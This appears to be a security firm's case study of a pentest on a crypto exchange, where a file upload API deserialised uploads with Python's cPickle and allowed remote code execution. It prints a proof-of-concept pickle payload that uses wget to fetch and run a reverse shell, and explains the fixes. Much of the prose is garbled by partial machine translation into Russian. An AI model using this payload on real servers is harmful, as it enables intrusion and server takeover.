03 Июн, 2025

Remote Code Execution via Unsafe File Upload

как Сервис:                Web Application Pentest

Industry:              Crypto Exchange

Region:                 Spain


Background

A security audit of a crypto exchange revealed a critical vulnerability in its backend infrastructure. Although the primary focus was on the on-chain smart contracts, auditors discovered a severe flaw in the file upload API. The vulnerability was rated Severity: Critical with a CVSS base score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). This case highlights how flaws in off‑chain services can undermine a project’s security, even if the smart contracts themselves are bug‑free.

Серьезность: Критический 
CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) 
Affected Module: File Upload API 
Exploit Complexity: Low 

Discovery — Reproducing Remote Code Execution

В Безопасности began by inspecting в file upload API responsible for handling user documents. By analyzing server-side behavior и (источник) code, we обнаруженный that uploaded files were read и passed directly into cPickle.loads(). 

Exploit POC:

				
					#!/usr/bin/python 
# Pickle deserialization RCE payload. 
# To be invoked with command to execute at it's first parameter. 
# Otherwise, the default one will be used. 
import cPickle 
import sys 
import base64 
class PickleRce(object): 
  def __reduce__(self): 
      import os 
      import urllib2 
      cmd = 'wget [link to reverse tcp]; ./reverse_tcp' 
      return (os.system,( cmd, )) 
#cPickle.loads(cPickle.dumps(PickleRce())) 
open('payload', 'wb+').write(cPickle.dumps(PickleRce())) 
 
				
			

Upload Test Flow:

  1. Crafted a malicious object in Python with a custom __reduce__ method. 
  2. Serialized it using cPickle.dumps() and saved the result to a binary payload. 
  3. Uploaded the binary payload via the platform’s file upload endpoint. 
  4. The backend deserialized the data using cPickle.loads() without validation. 
  5. This led to command execution on the server, confirming RCE. 

Technical Root Cause

В корень cause was trusting Python’s insecure pickle format. The pickle (и cPickle) module является inherently unsafe: в Python documentation warns that ITявляется not secureи that unpickling malicious data can execute arbitrary code. In particular, pickle uses наше object’s __reduce__ protocol Для reconstruct objects, which means a pickle can encode calls Для any callable. . attacker can define a class whose __reduce__ returns something like (subprocess.Popen, (cmd,)), causing в unpickler Для invoke that call. In это case, в malicious pickle’s __reduce__ returned a subprocess (или os.system) invocation, injecting a shell command into в deserialization process. Because в application did no validation на в uploaded data, это allowed arbitrary code execution на в сервер.

Real-World Risks

Exploiting this flaw could let attackers completely compromise the system, for example: 

  • A. Remote Shell Access: The attacker gains arbitrary command execution on the server (a full remote shell). 
  •  
  • B. Lateral Movement in Infrastructure: From the compromised host, an attacker can pivot to other internal systems and escalate privileges. 
  •  
  • C. Data Theft and Server Control: Sensitive files, databases or secrets on the server (logs, configs, user data) can be stolen or tampered with, effectively giving the attacker full server control. 
  •  
  • D. Private Key Exposure (if present on the server): For example, if deployment scripts or backups contain wallet credentials, these could be extracted. 

по кибербезопасности

  • Use Safe Serialization: Do not use cPickle (or pickle) on untrusted input. Instead, use safe formats such as JSON or protobufs for data interchange, which do not allow code execution. 
 
  • Validate and Sanitize Inputs: Rigorously check uploaded files and API inputs. Enforce strict file type checks, content validation, and size limits. As industry experts note, never blindly trust incoming data – always sanitize and verify any payload from untrusted sources. 
 
  • Isolate the Upload Handler: Run file processing in a restricted environment (e.g. a separate container or with minimal permissions) so that if an exploit occurs, its impact is contained. Apply the principle of least privilege to the upload service to limit potential damage. 

Заключение

This incident underscores that off‑chain logic can be just as critical as on‑chain code. The industry’s heavy focus на smart contracts canhide a deeper, more pervasive threatв neglected Web2 components. In fact, experts warn that a “single weaknessв off-chain тестирование can cause irreversible damage Для в блокчейн ecosystem. Robust auditing must include backend Услуги, API - интерфейсы и serialization routinesnot just в блокчейн codeДля ensure overall system Служба поддержки. 

All identifiers, domains, and user data in this case study have been anonymized to preserve client confidentiality. 

Другие Услуги

Готовы к безопасности?

Связаться с нами